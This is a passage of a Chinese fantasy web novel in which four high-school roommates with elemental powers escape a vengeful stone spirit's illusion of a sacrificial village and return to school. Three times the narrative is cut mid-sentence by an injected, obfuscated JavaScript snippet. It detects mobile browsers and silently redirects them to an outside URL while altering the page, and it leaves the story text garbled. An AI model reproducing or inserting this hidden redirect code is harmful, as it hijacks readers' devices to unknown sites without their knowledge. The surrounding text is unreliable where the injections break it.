被追杀的是她们,这玩意倒是一副被迫害的模样,又气又笑之余,三人都警惕起来。 寒洲的头脑是冷静下来了,气还没消,右臂一转,身侧就寒气凝结,气势瞬间就强大起来,与石人不相上下。 碎石伴着狂风滚动,在空中形成了一个巨大的发光石球。寒洲面色凝重,下意识瞥了一眼身后的两个室友,正要动作,突然一道火焰从石人身后袭来,击中时声如雷霆,然而比雷霆更有威慑力的,则是迅速传来的一道声音: “小心,它要自爆!” 寒洲面色一变,想也不想回头扑向两个室友,竖起的冰墙应声而碎,叮一声,如玉石破裂,强大的冲击力让她们瞬间就失去了意识。 * 这是磁场。 延光白着脸对三人说:“……元素核心,不仅蓝星有,每一个觉醒的灵兽也都有。就像咱们的心脏,是力量的源泉,当灵兽决定自爆,周围的一切将会被困在它构造出来的虚拟磁场中。破解的方法,就是找到这个核心,用手中的核心力量,击碎它。” 她晃了晃手腕上贴紧皮肤的手环,“就是这个。” 但这是灵兽的主场,一切都由主人的意志操控,对外来生物拥有绝对的束缚控制。元素核心会被各种规则隐藏,而她们的手环已经坏掉,无法提供定位,一旦找错目标,反会将击碎变为“激活”,最终只能在恶意的死路中被彻底吞噬。 木英打量着四周仿佛荒山的环境,鼓足勇气问:“刚才……刚才你真的是被那只蜻蜓救下来的吗?” 她爱内耗,不由得胡思乱想起来。这样岂不是错杀了蜻蜓? 简直罪过!她们直接有理都成了没理。 延光重重长出一口气,含着许多复杂的意味:“是它。后来送我过来的,是掠风。其他的我不知道,但是追杀我们的应该不是你们说的石头人,它们数量众多,我们得靠自己了。” 她将从掠风那里得到的都说出来,新手教程到这就结束了,但她们还一头雾水。徐宁说:“不是它追杀的,还能是谁?” “是针对我的,”寒洲突然出声:“我知道这个地方。” 闻言,三人纷纷回头。 寒洲:“……一年前,泥石流淹了我的家乡,我没猜错的话,应该就是它干的。” 徐宁猛然想起,寒洲刚出现时,那石人说“当年没有死绝吗”将她激怒,果然是有仇! 她磨磨牙:“你俩有仇,害我们倒霉,你怎么这么……” “行了!”延光一手一个,做打断手势:“我们先想办法活下去好吗?” 这倒……确实。 徐宁和寒洲放弃互瞪,双双冷哼一声。 事不宜迟,几人即刻动身。寒洲的能力最为完整,就走在最前方带头,但越走,她的表情就越凝重。 徐宁戳她后腰:“怎么越走越慢了?” 寒洲迟疑了下,“你们小心,这个地方和我老家一模一样。” 徐宁眉头挑了下,不太在意,倒是木英忍不住问了一句:“我们是不是回来了?” 寒洲摇头:“这是我家还没被淹的时候。而且,我想……” 她一顿,看向拨开草丛后露出的人群:“……我想,这个时候我不在这里。” 几人探头看去,只见面前站着一个‘寒洲’,呲牙对她们笑得阳光灿烂。 ……这也太惊悚了,徐宁差点蹦起来,下意识望向寒洲。 ‘寒洲’语气轻快地对她们打招呼:“来啦,等你们好久了。” 寒洲盯着她,不知道在想什么,嘴角扯出僵硬的笑:“……明阳。” 她恍惚着回头,冲室友们打眼色:顺着走下去,不要暴露自己。 自爆的灵兽实际已经死了,现在的状态就像人在睡梦中,一旦意识到它在“做梦”,会发生什么都不好说。 硬着头皮跟‘寒洲’进村,村民都十分热情,村子看起来也就是普通山村的模样。众人被安排进了靠后山的破石屋,徐宁一进门就捏着鼻子嫌弃:“真要住这吗,看起来还没我家厕所干净……” 寒洲:“这是我姥姥家。” 徐宁:“……但也能看出丰厚的文化底蕴。” 寒洲没理她。小命要紧,大家都展示出了难得一见的包容,打发走门口热心凑热闹的村民,就挤在一起商量接下来的对策。 “我们还是得管,”延光摸着手环说:“为了拉我们过来,两个世界已经连通,以后会有更多灵兽源源不断地去往我们的世界,伤害我们的亲人朋友。” 徐宁实在气不顺:“就为了这些灵兽的私心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427631|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,坑我们过去的人。” 木英弱弱地说:“迟早的事吧……咱们有仇,人家肯定会找上门的。” “是。”寒洲冷静道:“至少我们现在掌控着力量,再不全,也不是毫无还手之力。” 她说着手心拂过手环中央一朵微微凸起的浪花标记,半透明的光屏展开,几行小字出现: 【磁场能量:19%】 【磁场属性:水】 徐宁又乐又新奇:“这些灵兽还挺时髦,百分比都知道,末世后偷读书了?” 延光默默瞅她:“你就没想过,人类也有毁灭世界的梦想?” 徐宁:“……对哦。” 木英则更关注属性问题:“那个灵兽,竟然是水吗?我以为它应该是土或者金什么的……” 正说着,‘寒洲’带着一群村民哗啦啦走进来,含笑道:“各位客人好呀,等到天黑,我们会举办一个盛大的晚会,要一起吗?” 徐宁对着热情活泼的寒洲还是有点不适应,下意识就想张口,寒洲赶忙按住她的手,摇头,抬眸客客气气道:“谢谢,我们会的。” 她得体又熟练地将村民们敷衍走,延光三人从始至终没有说话——寒洲背着的手在打手势,让她们别说话。 等再次送走这些“人”,寒洲观察过四周无人,走过来将她们拉在一起小声说:“看到那个和我长得像的女生,不要叫我的名字,叫她明阳。” 徐宁:“你小名?” 寒洲一顿,含糊道:“差不多……在我们找到石人的核心之前,不能暴露身份。” 除此之外毫无头绪,徐宁便低头研究自己的手环。灿金色的手环上裂开三四条暗纹,让人总怀疑轻轻一嗑就会裂开,她从头搓到尾,也没能搓出什么光屏。 她拉过木英的手环看了一眼,差不多的情况,再看延光,裂纹是没那么多,却隐隐能见一个暗色的黑点,看着总是没那么舒服。 两两相望,长叹一声。 * 天还亮着,等到夜晚显然不明智,四人兵分两路,决定去查看情况。 “实在躲不过去,直接动手吧,”寒洲说:“村民们……都不太好相处。” 徐宁跟延光一组——防止她和寒洲打起来——她问:“怎么,难道这些人还是对着现实一比一复刻的?你的亲戚们都有故事啊。” 寒洲没有动怒,只是说:“我妈妈已经离开家乡了,只是姥姥还住在这里,我不常回来。” 徐宁撇了撇嘴,“话都让你说了……我看那石人像冤魂索命……” 延光用力拽了一把她的手臂,示意她噤声。 并不算愉快地分开,寒洲满腹心事地带着木英往后山走。 越往深处走,草木越是旺盛,半人高的野草几乎遮蔽视线,寒洲和木英紧紧牵住手,步履蹒跚地一点点往前。 谁也没有说话,四周静得只能听见窸窸窣窣的踩踏草地的声音和两人逐渐粗重的呼吸,忽然,木英用力拽住寒洲,停了下来。 寒洲扭头:“怎么了?” 木英脸色发白,问她:“你有没有听见……听见……一种声音。” 是什么声音?寒洲皱了皱眉,平复呼吸,仔细听,听见一声声有节奏的闷响,像是将什么往土地里锤,又像是砸打肉/体的声音。 木英感觉那声音越来越近,脸色惨白:“不会、不会真的有冤魂吧?” 寒洲:“来都来了,别自己吓自己。前面就是过山河,经常淹死人,说不定就是石人死去的地方,有声音反而可能是来对了。不管怎么说,我们都有对抗的力量。” 哪里没几个冤魂呢? 这副说辞没能安抚木英,但也确实来都来了。她紧贴着寒洲,用力抱住对方手臂,恨不得变成婴儿钻进寒洲怀里。 遮蔽视线的野草终于稀疏低矮起来,远远就看见河流边缘,缓缓走近,往下一看,两人都吓了一跳。 这哪里是一条河,分明是石人大批发,千千万万一模一样的石人横七竖八地堆着,但无论身体是什么姿势,都会露出一双腐烂的眼睛,盯着她们,齐齐咧开嘴。 等到你了。 5. 爆炸 延光和徐宁没走多远,就来到了寒洲所指的村中公用墓地。 平平无奇的墓碑群,看不出有什么不同,一个个看上去,碑上也没有刻字。 徐宁比划几下,不确定道:“这村里的人都有强迫症吗,好整齐。” 延光横竖两排都摸了一遍,撸起袖子:“你能变出铲子吗?挖坟。” 徐宁吓一跳:“啊?搞这么缺德吗?” 延光循循善诱:“你想啊,这只是石人的思想记忆,如果里面什么都没有,那挖一挖也没什么;如果有,这也是幻境,不影响。寒洲不是说村子被淹了吗?” 徐宁被说服了,动作僵硬地搓出两把铁锹,一把递给延光,豪气冲天:“开挖!” 乱七八糟掘开土,撬开棺材盖,徐宁还在吐槽穷乡僻壤的棺材这么厚,两人合力重重推开,露出躺着的……石人。 腐烂的双眼紧紧盯着她们,甚至伴随着徐宁惊得后退半步的动作,眼珠子灵动地转了转。 “咣”一声,延光毫不犹豫拍在石人脸上,脚一蹬,棺材盖重新合上。 两人重重喘着气对视,什么都没说,依照控制变量原则,又掘开几个。这次看却全是动物尸体,唯一的共同点,是黑漆漆的眼睛都在死死盯着棺外的人。 毫无规律,弄得两人一头雾水,徐宁茫然:“难道,这是想告诉我们,石人的本体是十二生肖吗?待会我们不会挖出龙吧?” “那也算是开眼了,可惜没带手机。”延光一笑,动了动酸疼的腰肩,“这里应该查不出什么,我们先去和寒洲她们汇合。” 徐宁的手磨得通红,闻言脸色就不太好,再一看眼前即便在白天也显得阴森的坟地,默默点了下头,没再说什么。 最后检查一遍,正要离去时,远处传来隆隆巨响,回头一看,是寒洲和木英去的方向。 徐宁道:“她俩被发现了?怎么这么没……” 延光拽住她跑:“快走,我们被发现了!” 浓稠的河水将要漫上来,一只只枯瘦的手竭力往上伸,寒洲将木英护在身后,一道道冰锥打下去,落下的地方有片刻凝固,但很快又寸寸破裂,石人爬得更快了。 ……她们暴露了。 木英又惊又怕:“我们什么还没做呢!” 寒洲猛地回身泼出一大片水,落在杂草上化冰压下去,压出一条清晰的路。石人扑了上来,寒洲拉起木英就跑,扭头吼道:“这里草木多,是你的主场,缠住它们!” 木英吓得眼泪直掉,短短几步路摔了六七次,只差被寒洲拖在地上跑了。看她实在没出息,寒洲也不多说了,两手并拢一拉,一把半透明长剑出现在手中,扭头刺过去。 剑尖直中石人胸口,但触感是柔韧的,寒洲眉头皱了下,惊诧地注视着状似坚硬石头的身体突然融化,粘稠地、软绵地裹了上来。 对了…… 石人的属性是水! 寒洲手一抖,直接将剑扔了。木英得了缓冲,飞走的魂又回来了,抓起她踉踉跄跄往前跑。 “你不是木吗,这里全是草,控制它们拦啊!” “我、我紧张!我不会!” 一口气噎住,两人连滚带爬地跑,中途寒洲还要搓出几条冰棱将扑上来的石人射回去,然而势单力孤,她们很快就被一群石人包围。 木英攥着寒洲的手越来越用力,面目狰狞的石人再一次扑过来时,她吓得尖叫一声,脚边的草木却迅速生长,形成了一道不算牢固的屏障。 寒洲反握住她,低声说:“把它当做你的手,你的腿,你想走路,想拿起什么东西的时候,是什么样子?” 木英浑身都在抖,却坚定地点头。不能只等别人保护。 疯长的草木稍微拖住了部分石人,寒洲趁势追击,降下漫天冰棱,与石人相接的瞬间,竟然悄无声息地融了进去,与此同时,石人也膨胀数倍。 被、被吸收了! 寒洲不由骇然,一时间思绪打结,已经不知道该怎么反击了。 她都懵了,木英自然更手足无措,一边指引草木抵挡一边扭头看她,分心的结果就是防不住越来越多的数量,最后,所有石人一个个扭曲着身形,瞪着腐烂的双眼,一拥而上—— 轰——! 剧烈的爆炸掀开扑上来的石人,徐宁攥着铁锹胡乱挥舞,又梆梆敲开两个。 延光感觉自己像个失控的打火机,突然爆发的力量差点烧着她的眉毛,再一想如果被抓住指不定要怎么没命,燃就燃吧。 混乱之间,她突然看见一个熟悉的身影迅速跑到自己身边伸出手,身体本能地想搭上去,大脑却突然警醒,然而有人比她更快:“李寒洲,木英呢!?” 延光一把抓住她。 这不是寒洲! 手中的女孩半垂着头,被延光抓得死紧也不在意,咧开嘴露出一个奇异的笑。后脑勺忽然一痛,延光失去了意识。 “……我们就是这么过来的,嗯。” 几米高的深坑里,四个人可怜兮兮地挤在一起,分享所得的信息。 寒洲按了按眉心说:“不知道我们是因为什么暴露的。” 对比时间,她们好像是同时遭遇袭击的,而那个时候谁都没做什么。 延光顿了顿,压低声音道:“还有个可能,是我们早就暴露了,但一直压到现在……” 正说着,一捧土突然劈头盖脸落了下来,徐宁呸呸两声,抹着脸瞪大眼睛往上看,欲骂又止,不知想起什么突然惊恐起来:“我记得延光说过,在灵兽的磁场中被发现又打不过,会重复它生前的死法……这不是自爆吧,你们这,这村民有点故事啊?” 延光把身上的土往下抖:“有概率而已,而且大多数灵兽都是活着觉醒的,像掠风和石人这种情况不多。” 寒洲也冷冷道:“你怎么知道,它们不会扔个炸弹下来。” 徐宁又呸:“乌鸦嘴,少叽歪几句吧。” 这个时候也能吵起来,延光按着太阳穴,直接气笑了。 说着话,木英已经不知道第几次滑下来了。她低头看着指甲缝里的泥土,看见高得几乎只能看见一个圆的洞口,终于哭出了声,“怎么办,上不去,藤条上去就断了,肯定有人守着的。我不想死,我不想死,我要回家,妈妈……呜,我妈本来特别高兴我考上高中……” 哭得人心里发酸,徐宁沉默好久,伸手拉住她,轻轻抱了抱:“没事、没事……我们不说了就行了,走,想办法上去。” 寒洲竖起冰盾挡住了部分落下的泥土,但肯定还是要想法出去的,不然闷也得闷死在里面。 短暂放下疑惑不满,谁也不说话了,开始摸索着用自己不太熟练的“新肢体”,一起来找向上的活路。 但填进来的土越来越多,就算她们动作迅疾地全扒到脚下,也赶不上新进的数量。眯着眼仰头正要看距离还有多少,只见一个巨大的桩子就压了下来。 “我草!”徐宁顿时惊叫:“打肉酱呢!” 寒洲赶紧冻住洞口,徐宁支了四根铁柱。 挤进来的力度越来越大,铁柱也在缓缓弯曲,寒洲反而不敢放冰了,怕金属被冻脆,直接折下来给肉酱添作料。 她有些痛苦地闭上眼:“我知道这是什么。” “打生桩。” 一瞬间静了静。但现在不是多想的时候,寒洲很快睁开眼振作起来,低声道:“用火,想办法炸开。” 延光皱眉:“这能行吗?这地方又窄。” 寒洲:“这已经是最后阶段了,如果不炸掉,我们只能被打进去。” 徐宁已经迅速贴了几块金属屏障,寒洲往上覆了层冰。她们都知道这只是杯水车薪,真正的近距离爆炸,光是冲击力就能将周围的一切挤扁。 但现在已经封口的柱子已经下了,不上也得上。延光深吸口气,试探着伸出手。 火焰往往伴随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427632|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷霆,木英在柱子边缘围了几圈藤蔓,她手指一搓,先点了火,随后赶紧缩回手猛地闭上眼,轰—— 很长的一段时间里,意识都是模糊的,痛感、灼烧感以及无处不在的窒息侵袭全身,眼睛睁开了,视野里还是一片黑,耳朵里一片嗡鸣,长长的忙音刺得人恨不得死过去。 忽然,仿佛有清风掠过,有什么轻轻在嘴边点了点,清凉的水滴渗进唇缝,这口气才算缓了过来。 好半晌,才一个个的恢复了意识。 四个人乱七八糟地坐起来,全都像被屁崩了一样黑的看不清脸,一个抓着头发扯着嗓子喊:“我的发型,我的头发——!” 离她最近的延光听清了,捂着剧痛的耳朵想,这一听就是徐宁。 大眼瞪着小眼,都发现对方有些耳聋了,于是扯着嗓子连吼带比划,捋清了现在的局势。 没出磁场,但这杀伤力也足够逼出真正的石人了。 大家互相搀扶着站起来,看向不远处生死不知的石人。 其实,本就是生前无力反坑的受害者,能有多少力量?仗的不过是一身怨气,和还不了解情况和自身力量的人类战士。 石人的身体是石块拼凑的,眼睛仿佛是从人类眼眶中撕下来粘合的,脚上有部分兽的绒毛。寒洲推开室友的手,缓缓走上前。 她的眼神有些复杂,静静与那双睁开的眼睛对视。 “喔,”石人肚腹咕噜一声,缓缓充上了气:“你怎么还没去死呀?” 它说着好可惜,就要爬起来,一把半透明的剑抵在它的额头上。 寒洲说:“我的祖辈,我的村民们对不起你们,可很多人是无辜的,她们甚至不知道……” 石人那双人类眼睛一瞬凝住不动了,黑漆漆的瞳孔一点点扩散、扩散,直到占据整个眼白。它不再胡言乱语,比谁都清明,讥讽道:“杀几个牲畜,护佑高贵人类的命,多么正常,怎么能说是对不住。喔,没用的人类,也是牲畜,也是牲畜,哈哈哈哈哈哈哈哈哈哈哈哈——” 它大笑起来,声音刺耳尖锐,本就脆弱的耳膜愈发刺痛,寒洲皱了下眉,感觉到温热的液体缓缓流出。 她的喉咙胀痛干涩,用力眨眨眼,却不知道怎么说。 它是动物,也是人,但当有需要的时候,人与动物的分别几乎没有,平等地被挤碎,打进地基中,从此你我不分。水属性的蜻蜓心善落下一点灵力,让它留下了些记忆,却也更深刻地留下了仇恨。 何况寒洲早一剑刺死了蜻蜓。 仇恨就是仇恨,非要不死不休才能消解。 寒洲有些站不稳,身侧的室友扶了一把。她看过去,又转头垂眸,低声说:“你已经杀了一整个村子,但我不愿意当做两清,要怪,就怪你当时无能为力,我当时也无能为力。” 石人歪了歪脑袋,阴森森的目光落在她身上,补全了后半句:“当时我更强,现在你更强。好恶心,虚伪的恶心,哎呀,但我还不会说好听话给自己辩解,什么烂话烂道理都让你们说了。碍眼的东西,还是全部灭绝更好、更干净……” 它低声喃喃:“蜻蜓还想救一些人类,它百年前就很有智慧了。可人,从不相信万物有灵。” 石人停顿良久,忽然‘咯咯’地笑起来:“那可太好了!就这样死在你们万物之首的傲慢上吧!” 它就地一躺,露出胸口菱形半透明的蓝色水晶,即便不说,众人也能猜到,这是她们一直在找的元素核心。 击碎了它,就能走出磁场,回到现实世界中。 见寒洲还不动作,石人顿了顿,又说:“犹豫什么,你知道之前的水战士死的有多惨吗?她……” 寒洲眼神骤然一厉,不等它说完,一道道冰棱就飞速刺穿了那颗晶体。 哗—— 清脆的、水晶碎裂的声音,还有些好听。 如果没有躺倒在地上的石人,依旧张着嘴刺耳地笑着说报应的话。 6. 回程 世界在扭曲、崩塌,三双滴溜溜的黑眼珠子趁机偷偷瞅一眼寒洲,再对视一眼。 问吗? 别了吧,万一这人恼羞成怒,给咱们仨都宰了灭口呢? 应该也不至于…… 回去再问! 眼神交流了一番,身体失重,脚下一空又很快着地,还没来得及缓过神,先模糊看见一个白色的影子。二话不说,跑! 徐宁跑得最快,木英慢了半拍扭头去追,延光刚抬起脚就意识到了是谁,又顿住。 寒洲则始终像死了一样,一动不动。 掠风看着四条黑漆漆的炸毛棍子:“……你们怎么了?” 徐宁拨了下头发:“害,一言难尽。你没死啊。” 掠风:“……”你倒是自来熟。 它淡淡说:“你们也很不错,竟然没死。” 徐宁一笑,就见漆黑的棍子呲出大白牙:“让你们坑成这样,哪好意思说厉害。” 正想开口的延光立刻闭了嘴,顺手扯了扯木英。 徐宁足够大胆也足够敏锐,这时候出头是最合适的。先不说她本就感觉到了不对,就是这死人态度,也实在让人恼火。 确实,她们现在退无可退,救世是必须的。灵兽仇视她们,也能理解,立场不同嘛。 但是!这并不代表她们可以被隐瞒、被戏耍,说到底,弱肉强食引起的仇恨就是一笔烂账,人和人、兽和兽也没少相互倾轧,现在合作,大家就是平等的,她们没有罪。 掠风平静地望着她,沉吟片刻,说:“我没有隐瞒的意思,我只是需要确认你们的想法。我可以明确告诉你们,这次追杀我们的灵兽首领,就是鲸云选出的土元素御灵战士。” 徐宁猛地一怔,就连始终呆愣的寒洲也没忍住皱眉抬眼。 “还真有人想毁灭世界啊,”徐宁匪夷所思,“中二病还没好吧?多大年纪,男的女的?” 掠风:“和你们一样的女孩,是个很强大的战士。她先你们一年来到这里,得到最完整的指引和御灵手环,她已经毁坏了你们的手环,你们不是对手。” 徐宁不服:“凭什么她就比我们先来?而且我们这,不还有一个完整的水手环吗!” 掠风:“她不是被选中的水战士,不受御灵手环认可,发挥不出水的完全力量。而土战士,一年前她受伤濒死,怕她出事,我们提前引她来了。” 这话一出,反应最大的竟是一开始就像个死人的寒洲:“她要死了,你们救她,早干什么去了?你们说我不合格,对,我不是被选中的人,可一年前她也出事,为什么不来救她!” 掠风一顿:“你不清楚?如果她愿意走,完全是可以的,但她拒绝了。” 寒洲顿时像被抽干了力气,双腿软了下来。徐宁和延光眼疾手快,一左一右搀住她。 徐宁皱着眉,低头看她:“你到底知道什么,都跟我们说说啊。” 寒洲深深吸了口气,闭上眼,挣开她们的手,缓缓蹲坐在地上,抱住双腿,低声道:“我……被选中的水战士,是我妹妹,李明阳。” *** 明阳的力量觉醒的要更早一些,很小的时候就有预兆了。比如她能精准预测下雨天,游泳天赋极强,甚至有时雨势小一些,都淋不湿她。 明阳十岁时被送回姥姥家,后来寒洲因为一些原因也回了老家,那时她并不觉得村子有什么不对劲的地方。 但村子里太封闭,太偏远,是要倒车几个小时的山区,偏偏又临水。那条河是汇入海的最后一条支流,常年涨水,一到雨季更是可能爬上岸来,在交通不发达的时候,想要出去,桥是最重要的东西。 而木桥容易被虫蛀、石桥没有合适的石料且易被冲散,其余方法也是各有各的短命。在当年,村民选择祭活物。 最开始是动物,一些祭祀三牲,后来发现成本过大也无法持续,就改成了……人。 饥荒灾年,人是最廉价的物品。 石人就是这样拼凑而出的,它是动物,是人,甚至是植物,这样一个个碎片拼凑出的生命。 就在去年,村中爆发泥石流,交通堵塞,洪水蔓延,眼见着就要淹没了全村,已经上了救生艇的明阳义无反顾回村救人。 于是再也没出来。 寒洲那时昏迷,并不知道发生了什么,只知道所有人里就死了明阳一个人,她无法接受。 更不能接受的是,她在探望幸存者的时候,那些人一个个喊着报应。又是偷听、又是套话、又是收集资料,她终于搞明白了原委。 都是报应! 寒洲理智断线,扑上去就要和她们同归于尽,被制止后送走。等情绪稳定些再打听,那些人也一个接一个的死了。 明明她都已经接受了,认命了,而这时掠风告诉她,被选中的战士有危险,都会救。可以来到后世,提前觉醒,只是她不愿意。 她不愿意走?为什么? 因为特殊情况只能救御灵战士一个,而她走了,村中没来得及逃出的人,甚至挤在几条小破木船上的寒洲和其他村民,都可能受到牵连。 而她正好这时拥有了力量,可以救想救的人,再好不过的事了。 寒洲猛地用力,掐住手腕,指甲深深陷进皮肉里,鲜红渗血。她几乎喘不上气来。 是啊,明阳会这样想吗?她知道自己会死吗?她知道那次的灾难并非天灾,而是怨灵索命吗?她知道救的人最后也没几天好活吗? “……那些人是石人杀的吗?”良久,寒洲嗓音沙哑地问:“灵兽可以去到我们那里?” 掠风顿了顿,似乎在斟酌措辞,神色慎重道:“鲸云一年前接通两个时间的世界,因此导致时间紊乱,发生相融变异……通俗来说,就是在那个时间里死去的、元素亲和力很强的人或动物,会被这个时间的磁场影响激活,再次活过来。也因为身体的存在跨越时间,会有两个自己,第一次是杀不死的。我就是这种情况。” 也就是说,这种早就死过一次,却正好因为元素天赋身体没有完全消亡的灵兽,等同于拥有两条命。她们压根就没能弄死那石人! 徐宁、木英的脸色已经完全绿了,焦黑的脸也无法盖住这份想死想吐的绝望。 那她们挨这一顿崩算什么?美容美发吗? 延光的嘴角动了动,有点想笑,憋住了。她弯腰按住寒洲的肩头,抬头问道:“那我们要怎么才能彻底杀死石人呢?” 掠风:“击碎它的核心,吸收它的力量,我们的本质已经是能量体,被手环转化为力量,当然就活不了了。” 延光若有所思,见掠风走上前低头贴向她的手臂,赶忙一缩:“你干什么!” 掠风的声音很平静:“我的核心,已经碎了。我的力量是火,对你会有用。” 延光眉头一挑:“不挣扎一下?你不是还有一条命么。” 掠风摇头:“火战士,我是人类养大的,也是人类教出来的。没有吃过苦挨过饿,比大多数动物活得快活,死亡也没有遗憾。我只惦记最开始养我的那个人,她叫任青鸟,先天身体不好,我想让她快乐,用我的力量,救救她,拜托。” 它低声又说了一遍地址,喃喃:“我正好有力量帮她,最好不过了。” 延光依旧抬着手臂,犹豫片刻,说:“我们会帮你,该有的指引你得给我们。你想让你的朋友幸福快乐,总不希望我们被黑乌云整死,她还没享受就世界毁灭吧?” 掠风咧开嘴笑了笑:“你们有你们自己的路,战士们,不要总寄希望于他人指引。补好这只手环,激发你们全部的力量,获得元素认可。连接通道已经稳定,黑乌云一派的灵兽会不断进入你们的世界,阻止它们捣乱,如果有可能,劝服那位土战士,只有五元素同时激活,才有可能激发蓝星的活力。所以,也要活着。” 延光:“如果土战士不愿意呢?” 掠风:“杀了她,拿着御灵手环,寻找有共鸣的新战士。” 一时沉默。 除了不愿起身的寒洲,延光回头,三人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427633|184861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面相觑,对这个做法本能抵触。 掠风最后说:“我送你们回去。石人可能会再来找你们,如果没有,你们最好主动找。当强大灵兽或者磁场出现时,手环会示警,两个或以上的手环贴在一起,就可以传送。走吧,让我再见她最后一面。” 这一回延光没有躲闪。 温热的暖流注入身体,延光感觉到了一股清明又灼热的力量。先前见过的圆阵再次出现,延光低头看一眼手环,没看出什么不同。 徐宁拖着寒洲往发光的阵心里挪了几步,木英紧张地搓着手。终于,延光发现几条长度相等的裂缝里,似乎有一条稍微短了半厘米。 延光:“……” 这得修复到猴年马月去啊。 *** 再次回到宿舍,简直恍如隔世。 往镜子里一照,好嘛,四条又黑又焦头发半竖的野人,拉进原始森林里直接无痛cos猩猩,再一看天色将亮,这可不得了—— 绝对不能让老师看见! 徐宁果断推开木英和寒洲:“起开,我先洗。” 她不能忍受自己以这副模样见人。 这副德行,连坐都不敢坐,生怕玷污了高洁的坐垫。在外面等着排队洗澡也是无聊,延光低头,从口袋里掏出一张焦黑的字条。 她回想起来,这是班主任李青塞给她的,于是打开,只见上面写着一行字: 【想换宿舍,就在校领导面前坚持,不要犹豫】 “……” 这个,怎么说呢,待会跟老师说她们睡了一晚上突然想开了,和谐有爱了,这合理吗? 等轮流洗完澡,将寝室的地面拖了,天色已经大亮。还没坐下来喘口气,宿舍的门就被敲响。 拉开门,宿管阿姨看见她们湿漉漉的头发先是一怔,随即面不改色地堆笑道:“同学,起床啦?你们老师在楼下等你们呢。” 今天是走读的学生正式报到的时间,本来是可以赖床的,徐宁没好气地回:“是啊阿姨,这都七点了,你敲门我们当然得醒。” 延光立刻咳咳两声:别带刺,别带刺,不要幻想自己以后被打扰睡眠的可能。 徐宁也就是顺嘴,闻言不情不愿地闭上了。 洗漱完,寒洲似乎满血复活,从徐宁身边走过,轻飘飘笑了下:“生前何必多睡,死后自会长眠。” 大战一触即发! 宿管阿姨眼疾手快关上了门,打断施法:“是、是是,待会解决了,去领书,回来还能再睡嗷。” 延光和木英对视一眼,双双叹气。 然而到了李青和校领导面前,还是要统一口径:不换宿舍、不退宿、不换室友。 李青半信半疑:“真的?有什么需求,现在各位老师都在,可以尽管提,你们昨天晚上……” “那是我们刚认识,不懂事!”徐宁赶紧插话:“我们现在都说开了,关系可好了!是吧,寒洲!” 寒洲面无表情,点头:“嗯。” 这俩学生来头大,李青不得不多问:“解开误会就好,你们是同学,要好好相处。那延光和木英呢?需不需要换宿舍?” 延光立刻挽住木英的手臂,和她脸颊贴贴:“我们关系可好了!” 木英整张脸‘唰’一下红得彻底,徐宁见状,也不甘示弱,抓起寒洲的手,宣誓一般:“我们也是!” 寒洲:“……” 她沉默一会,还是没能昧着良心与徐宁亲近,于是只当自己是一个灵魂出窍的傀儡,不主动不回应。 李青耐心地问:“李寒洲,在宿舍还习惯吗?” 寒洲一顿,点头:“嗯,她们都……挺好的。” 四人站在一起,齐刷刷直挺挺,眼神坚定,仿佛下了某种决心。 贴近了,三人纷纷呲出大牙傻乐,寒洲被一肘子杵出两颗门牙:“嘿嘿嘿,嘿嘿,老师,我们关系真的特别好。” 说着,还毫无默契地比了个乱七八糟对不齐的心。 李青:“……” 7. 领书 宿舍是没换成,早饭也没吃。 四个人齐齐在床上瘫了半天,到了下午才勉强恢复精神。 新生报到,第一件事就是去领书,几人下了床换上衣服,徐宁拉出柜子里的折叠推车,道:“你们说,我们接下来应该干啥?” 延光背了个包,拉开门,随口说:“去找任青鸟,或者找石人。” 徐宁:“那也得熟练一下咱们的力量吧,我现在感觉跟多长了个手一样,乱套了。就咱们这半身不遂的本事,能打得过石人吗?寒洲,你有没有什么技巧?” 共同秘密常常是友谊的开始,经过这一场冒险,哪怕是再彼此看不顺眼的寒洲和徐宁,谈起话来也能心平气和。寒洲摇头:“我和你们觉醒的时间一样,要说强,强不到哪去。只是我以前……生过病,对身体的控制力比你们强一点。” 一行人缓缓下楼,压低声音窃窃私语,徐宁说:“那我们不然抽时间训练一下,下次要碰上一个更强的,要命的事,我们还能现学吗?” 竟然是木英第一个反对:“不合适吧,我们还在上学,出不了校门。违规太多次,会被叫家长的。” 徐宁对她也是佩服:“姐姐,一个不好就要全蓝星陪葬的事,学习算个屁啊?” 木英拧着眉头不太高兴,延光拍拍她,说:“走一步算一步吧,晚上我们再看一下这些新功能,早上寒洲不是说没有磁场吗?” 寒洲嗯了一声:“一直在二十左右徘徊。” “任青鸟家在隔壁市,坐车三个小时,掠风所在的动物园就在本市。”延光说:“事有轻重缓急,先找石人,实在没头绪再去看看这个时间上的掠风。” 徐宁大手一挥:“坐飞机吧,机票我包了。” 